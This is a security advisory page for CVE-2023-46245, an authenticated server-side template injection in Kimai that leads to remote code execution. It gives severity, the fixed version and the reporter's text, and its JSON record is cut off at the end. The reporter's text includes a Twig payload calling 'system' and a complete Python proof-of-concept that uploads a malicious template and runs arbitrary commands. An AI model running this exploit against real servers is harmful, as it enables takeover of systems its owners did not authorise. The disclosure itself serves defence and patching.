CVE-2023-46245: Kimai/kimai Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-fjhg-96cp-6fcw
CVSS 7.2
CWE-1336
Published
Advisory Summary

CVE-2023-46245 is a HIGH (CVSS 7.2) remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Kimai/kimai libraries in the Packagist ecosystem. The issue involves kimai (authenticated) ssti to rce by uploading a malicious twig file. Remediation is available by upgrading affected packages to version 2.1.0.

CVE-2023-46245 at a Glance

CVE Identifier CVE-2023-46245
GHSA Identifier GHSA-fjhg-96cp-6fcw
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Affected Product Kimai/kimai
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-46245

To remediate this vulnerability, upgrade all affected Kimai/kimai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

kimai/kimai fixed: 2.1.0
Upgrade kimai/kimai to 2.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for kimai/kimai

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-46245, inspect your project dependencies for Kimai/kimai:

inspect dependencies for kimai/kimai

Analyze the terminal output to locate any version of Kimai/kimai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Kimai/kimai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Description The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities. Snippet of Vulnerable Code: ```php public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), array_merge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); } ``` The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server. In below, you can find the docker-compose file was used for this testing: ```yaml version: '3.5' services: sqldb: image: mysql:5.7 environment: - MYSQL_ROOT_HOST='%' - MYSQL_DATABASE=kimai - MYSQL_USER=kimaiuser - MYSQL_PASSWORD=kimaipassword - MYSQL_ROOT_PASSWORD=changemeplease ports: - 3336:3306 volumes: - mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1 interval: 20s start_period: 10s timeout: 10s retries: 3 nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: - 8001:80 volumes: - public:/opt/kimai/public:ro restart: unless-stopped depends_on: - kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s start_period: 10s timeout: 10s retries: 3 kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: - ADMINMAIL=admin@kimai.local - ADMINPASS=changemeplease - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 - memory_limit=1024 volumes: - public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped phpmyadmin: image: phpmyadmin restart: always ports: - 8081:80 environment: - PMA_ARBITRARY=1 postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtp_user: kimai:kimai restart: unless-stopped volumes: var: public: mysql: ``` Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload ```{{['id>/tmp/pwned']|map('system')|join}}``` 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system I've also attached an automated script to ease up the process of reproducing: # Proof of Concept ```python import requests import re import string import random import sys session = requests.session() BASE_URL = sys.argv[1] def generate(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def get_csrf(path, session): try: project_id = "" csrf_token = "" preview_id = "" template_ids = [] activity_customer_list = [] csrf_login_response = session.get(f"{BASE_URL}{path}").text # Extract CSRF Token pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE) match = pattern.search(csrf_login_response) if match: csrf_token = match.group(1) if "performSearch" in path: preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE) preview_match = preview_pattern.search(csrf_login_response) if preview_match: preview_id = preview_match.group(1) template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE) template_matches = template_pattern.findall(csrf_login_response) if template_matches: template_ids = [int(id) for id in template_matches] if "timesheet" in path: option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE) option_matches = option_pattern.findall(csrf_login_response) if option_matches: activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches] if "project" in path or "activity" in path: project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response) if project_id_match: project_id = project_id_match.group(1) return csrf_token, project_id, preview_id, template_ids, activity_customer_list except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None def login(username,password,csrf,session): try: params = {"_username": username, "_password": password, "_csrf_token": csrf} login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True) if "I forgot my password" not in login_response.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass def create_customer(token,name,session): try: data = { 'customer_edit_form[name]': (None, name), 'customer_edit_form[color]': (None, ''), 'customer_edit_form[comment]': (None, 'xx'), 'customer_edit_form[address]': (None, 'xx'), 'customer_edit_form[company]': (None, ''), 'customer_edit_form[number]': (None, '0002'), 'customer_edit_form[vatId]': (None, ''), 'customer_edit_form[country]': (None, 'DE'), 'customer_edit_form[currency]': (None, 'EUR'), 'customer_edit_form[timezone]': (None, 'UTC'), 'customer_edit_form[contact]': (None, ''), 'customer_edit_form[email]': (None, ''), 'customer_edit_form[homepage]': (None, ''), 'customer_edit_form[mobile]': (None, ''), 'customer_edit_form[phone]': (None, ''), 'customer_edit_form[fax]': (None, ''), 'customer_edit_form[budget]': (None, '0.00'), 'customer_edit_form[timeBudget]': (None, '0:00'), 'customer_edit_form[budgetType]': (None, ''), 'customer_edit_form[visible]': (None, '1'), 'customer_edit_form[billable]': (None, '1'), 'customer_edit_form[invoiceTemplate]': (None, ''), 'customer_edit_form[invoiceText]': (None, ''), 'customer_edit_form[_token]': (None, token), } response = session.post(f"{BASE_URL}/admin/customer/create", files=data) except Exception as e: print(str(e)) def create_project(token, name,project_id ,session): try: form_data = { 'project_edit_form[name]': (None, name), 'project_edit_form[color]': (None, ''), 'project_edit_form[comment]': (None, ''), 'project_edit_form[customer]': (None, project_id), 'project_edit_form[orderNumber]': (None, ''), 'project_edit_form[orderDate]': (None, ''), 'project_edit_form[start]': (None, ''), 'project_edit_form[end]': (None, ''), 'project_edit_form[budget]': (None, '0.00'), 'project_edit_form[timeBudget]': (None, '0:00'), 'project_edit_form[budgetType]': (None, ''), 'project_edit_form[visible]': (None, '1'), 'project_edit_form[billable]': (None, '1'), 'project_edit_form[globalActivities]': (None, '1'), 'project_edit_form[invoiceText]': (None, ''), 'project_edit_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/admin/project/create", files=form_data) except Exception as e: print(str(e)) def create_activity(token, name,project_id ,session): try: form_data = { 'activity_edit_form[name]': (None, name), 'activity_edit_form[color]': (None, ''), 'activity_edit_form[comment]': (None, ''), 'activity_edit_form[project]': (None, ''), 'activity_edit_form[budget]': (None, '0.00'), 'activity_edit_form[timeBudget]': (None, '0:00'), 'activity_edit_form[budgetType]': (None, ''), 'activity_edit_form[visible]': (None, '1'), 'activity_edit_form[billable]': (None, '1'), 'activity_edit_form[invoiceText]': (None, ''), 'activity_edit_form[_token]': (None, token), } response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data) if response.status_code == 201: print(f"[+] Activity created: {name}") except Exception as e: print(f"An error occurred: {str(e)}") def upload_malicious_document(token,session): try: form_data = { 'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'), 'invoice_document_upload_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data) if ".pdf.twig" in response.text: print("[+] Twig uploaded successfully!") else: print("[-] Error while uploading, exiting..") exit(1) except Exception as e: print(f"An error occurred: {str(e)}") import re def create_malicious_template(token, name, session): try: data = { 'invoice_template_form[name]': name, 'invoice_template_form[title]': name, 'invoice_template_form[company]': name, 'invoice_template_form[vatId]': '', 'invoice_template_form[address]': '', 'invoice_template_form[contact]': '', 'invoice_template_form[paymentTerms]': '', 'invoice_template_form[paymentDetails]': '', 'invoice_template_form[dueDays]': '30', 'invoice_template_form[vat]': '0.000', 'invoice_template_form[language]': 'en', 'invoice_template_form[numberGenerator]': 'default', 'invoice_template_form[renderer]': 'din', 'invoice_template_form[calculator]': 'default', 'invoice_template_form[_token]': token } response = session.post(f"{BASE_URL}/invoice/template/create", data=data) # Define the regex pattern to capture the template ID and match the name pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL) # Search the response text with the regex pattern match = pattern.search(response.text) if match: template_id = match.group(1) # Extract the captured group print(f"[+] Malicious Template: {name}, Template ID: {template_id}") return template_id # Return the captured template ID else: print("[-] Failed to capture the template ID") create_malicious_template(token,name,session) except Exception as e: print(f"An error occurred: {str(e)}") exit(1) def create_timesheet(token, activity, project, session): form_data = { 'timesheet_edit_form[begin_date]': (None, '01/01/1980'), 'timesheet_edit_form[begin_time]': (None, '12:00 AM'), 'timesheet_edit_form[duration]': (None, '0:15'), 'timesheet_edit_form[end_time]': (None, '12:15 AM'), 'timesheet_edit_form[customer]': (None, ''), 'timesheet_edit_form[project]': (None, project), 'timesheet_edit_form[activity]': (None, activity), 'timesheet_edit_form[description]': (None, ''), 'timesheet_edit_form[fixedRate]': (None, ''), 'timesheet_edit_form[hourlyRate]': (None, ''), 'timesheet_edit_form[billableMode]': (None, 'auto'), 'timesheet_edit_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False) if response.status_code == 302: # Changed to 200 as 301 is for redirection print(f"[+] Created a new timesheet") ############################## # login csrf, _, _, _, _ = get_csrf("/login", session) # login("admin", "password", csrf, session) login(sys.argv[2],sys.argv[3],csrf,session) # create new customer get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session) customer_name = generate() create_customer(get_customer_token, customer_name, session) # create new project with customer_name get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session) project_name = generate() create_project(get_project_token, project_name, customer_id, session) # create new activity get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session) activity_name = generate() create_activity(get_activity_token, activity_name, project_id, session) # EXPLOIT ###################### # upload malicious file upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session) upload_malicious_document(upload_token, session) # create malicious template to trigger the SSTI get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session) template = generate() temp_id = create_malicious_template(get_template_token, template, session) # create a timesheet with project_id and activity_id activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function print(f"[+] Constructing renderer URLs..") # iterate through all relative project_ids and customer_id for exploit stabiliy for activity_id, customer_id in activity_customer_list: csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}") create_timesheet(csrf, activity_id, customer_id, session) postData = { "searchTerm": "", "daterange": "", "state": "1", "billable": "0", "exported": "1", "orderBy": "begin", "order": "DESC", "exporter": "pdf" } # export timesheets so they appear in exported invoices export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text if "PDF-1.4" in export: csrf, _, _, _, _ = get_csrf("/invoice/", session) # get preview token to construct the preview URL to trigger SSTI csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session) for template_id in template_ids: rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}" # trigger the payload by visiting the renderer URL rce = session.get(rendererURL) if "PDF-1.4" in rce.text: print(rendererURL) print("[+] successfully executed payload") # save the pdf locally since rendered URL will expire as soon as we end the session pdf = f"{generate()}.pdf" with open(pdf,'wb') as pdfFile: pdfFile.write(rce.content) pdfFile.flush() pdfFile.close() print(f"[+] Saved results with name: {pdf}") exit(1) print("[-] Failed to execute payload, try to trigger manually..") ``` which can be executed as such: ```bash $ python3 spl0it.py http://localhost:8001/en admin password "ls -la" ``` this will download the rendered file which will contain the results of the RCE: ![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png) # Impact Remote Code Execution

CVE-2023-46245 Affected Kimai/kimai Versions

1 component(s)
Fixed Versions:
2.1.0
Product / Package Ecosystem Affected Versions Fixed Version
kimai/kimai
Packagist
< 2.1.0
2.1.0

References

Frequently Asked Questions

What is CVE-2023-46245?
CVE-2023-46245 is a security vulnerability in Kimai/kimai involving Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine.
Which Kimai/kimai versions are affected?
Affected versions include releases prior to 2.1.0 across affected packages: kimai/kimai.
What version fixes CVE-2023-46245?
Upgrading to 2.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is kimai/kimai affected?
Yes, kimai/kimai is affected in releases prior to 2.1.0. Upgrade your dependency to 2.1.0 or later.
What is the CVSS score of CVE-2023-46245?
CVE-2023-46245 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-46245?
CVE-2023-46245 is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.).
How can I check Packagist dependencies for CVE-2023-46245?
Run the dependency tree command: 'inspect dependencies for kimai/kimai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fjhg-96cp-6fcw",
  "modified" : "2023-10-30T15:40:04Z",
  "published" : "2023-10-30T15:40:04Z",
  "aliases" : [ "CVE-2023-46245" ],
  "summary" : "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File",
  "details" : "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this->twig->render($this->getTemplate(), array_merge([\n        'entries' => $timesheets,\n        'query' => $query,\n        ...\n    ], $this->getOptions($query)));\n    ...\n    $content = $this->converter->convertToPdf($content, $pdfOptions);\n    ...\n    return $this->createPdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: '3.5'\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST='%'\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:/var/lib/mysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch/nginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:/opt/kimai/public:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http://nginx/health || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai/kimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:/opt/kimai/public\n      # - var:/opt/kimai/var\n      # - ./ldap.conf:/etc/openldap/ldap.conf:z\n      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight/postfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{['id>/tmp/pwned']|map('system')|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI've also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r'<input[^>]*?name=[\"\\'].*?token[^\"\\']*[\"\\'][^>]*?value=[\"\\'](.*?)[\"\\'][^>]*?>', re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r'<div[^>]*id=\"preview-token\"[^>]*data-value=\"(.*?)\"[^>]*>', re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r'<option value=\"(\\d+)\" selected=\"selected\">', re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r'<option value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\">', re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r'<option value=\"(\\d+)\"[^>]*data-currency=\"EUR\"[^>]*>', csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            'customer_edit_form[name]': (None, name),\n            'customer_edit_form[color]': (None, ''),\n            'customer_edit_form[comment]': (None, 'xx'),\n            'customer_edit_form[address]': (None, 'xx'),\n            'customer_edit_form[company]': (None, ''),\n            'customer_edit_form[number]': (None, '0002'),\n            'customer_edit_form[vatId]': (None, ''),\n            'customer_edit_form[country]': (None, 'DE'),\n            'customer_edit_form[currency]': (None, 'EUR'),\n            'customer_edit_form[timezone]': (None, 'UTC'),\n            'customer_edit_form[contact]': (None, ''),\n            'customer_edit_form[email]': (None, ''),\n            'customer_edit_form[homepage]': (None, ''),\n            'customer_edit_form[mobile]': (None, ''),\n            'customer_edit_form[phone]': (None, ''),\n            'customer_edit_form[fax]': (None, ''),\n            'customer_edit_form[budget]': (None, '0.00'),\n            'customer_edit_form[timeBudget]': (None, '0:00'),\n            'customer_edit_form[budgetType]': (None, ''),\n            'customer_edit_form[visible]': (None, '1'),\n            'customer_edit_form[billable]': (None, '1'),\n            'customer_edit_form[invoiceTemplate]': (None, ''),\n            'customer_edit_form[invoiceText]': (None, ''),\n            'customer_edit_form[_token]': (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            'project_edit_form[name]': (None, name),\n            'project_edit_form[color]': (None, ''),\n            'project_edit_form[comment]': (None, ''),\n            'project_edit_form[customer]': (None, project_id), \n            'project_edit_form[orderNumber]': (None, ''),\n            'project_edit_form[orderDate]': (None, ''),\n            'project_edit_form[start]': (None, ''),\n            'project_edit_form[end]': (None, ''),\n            'project_edit_form[budget]': (None, '0.00'),\n            'project_edit_form[timeBudget]': (None, '0:00'),\n            'project_edit_form[budgetType]': (None, ''),\n            'project_edit_form[visible]': (None, '1'),\n            'project_edit_form[billable]': (None, '1'),\n            'project_edit_form[globalActivities]': (None, '1'),\n            'project_edit_form[invoiceText]': (None, ''),\n            'project_edit_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            'activity_edit_form[name]': (None, name),\n            'activity_edit_form[color]': (None, ''),\n            'activity_edit_form[comment]': (None, ''),\n            'activity_edit_form[project]': (None, ''),\n            'activity_edit_form[budget]': (None, '0.00'),\n            'activity_edit_form[timeBudget]': (None, '0:00'),\n            'activity_edit_form[budgetType]': (None, ''),\n            'activity_edit_form[visible]': (None, '1'),\n            'activity_edit_form[billable]': (None, '1'),\n            'activity_edit_form[invoiceText]': (None, ''),\n            'activity_edit_form[_token]': (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            'invoice_document_upload_form[document]': ('din.pdf.twig', f\"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>\", 'text/x-twig'),\n            'invoice_document_upload_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            'invoice_template_form[name]': name,\n            'invoice_template_form[title]': name,\n            'invoice_template_form[company]': name,\n            'invoice_template_form[vatId]': '',\n            'invoice_template_form[address]': '',\n            'invoice_template_form[contact]': '',\n            'invoice_template_form[paymentTerms]': '',\n            'invoice_template_form[paymentDetails]': '',\n            'invoice_template_form[dueDays]': '30',\n            'invoice_template_form[vat]': '0.000',\n            'invoice_template_form[language]': 'en',\n            'invoice_template_form[numberGenerator]': 'default',\n            'invoice_template_form[renderer]': 'din',\n            'invoice_template_form[calculator]': 'default',\n            'invoice_template_form[_token]': token\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr'<tr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\">\\s*<td class=\"alwaysVisible col_name\">{re.escape(name)}</td>', re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),\n            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),\n            'timesheet_edit_form[duration]': (None, '0:15'),\n            'timesheet_edit_form[end_time]': (None, '12:15 AM'),\n            'timesheet_edit_form[customer]': (None, ''),\n            'timesheet_edit_form[project]': (None, project),\n            'timesheet_edit_form[activity]': (None, activity),\n            'timesheet_edit_form[description]': (None, ''),\n            'timesheet_edit_form[fixedRate]': (None, ''),\n            'timesheet_edit_form[hourlyRate]': (None, ''),\n            'timesheet_edit_form[billableMode]': (None, 'auto'),\n            'timesheet_edit_form[_token]': (None, token)\n        }\n    response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"/timesheet/create\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = 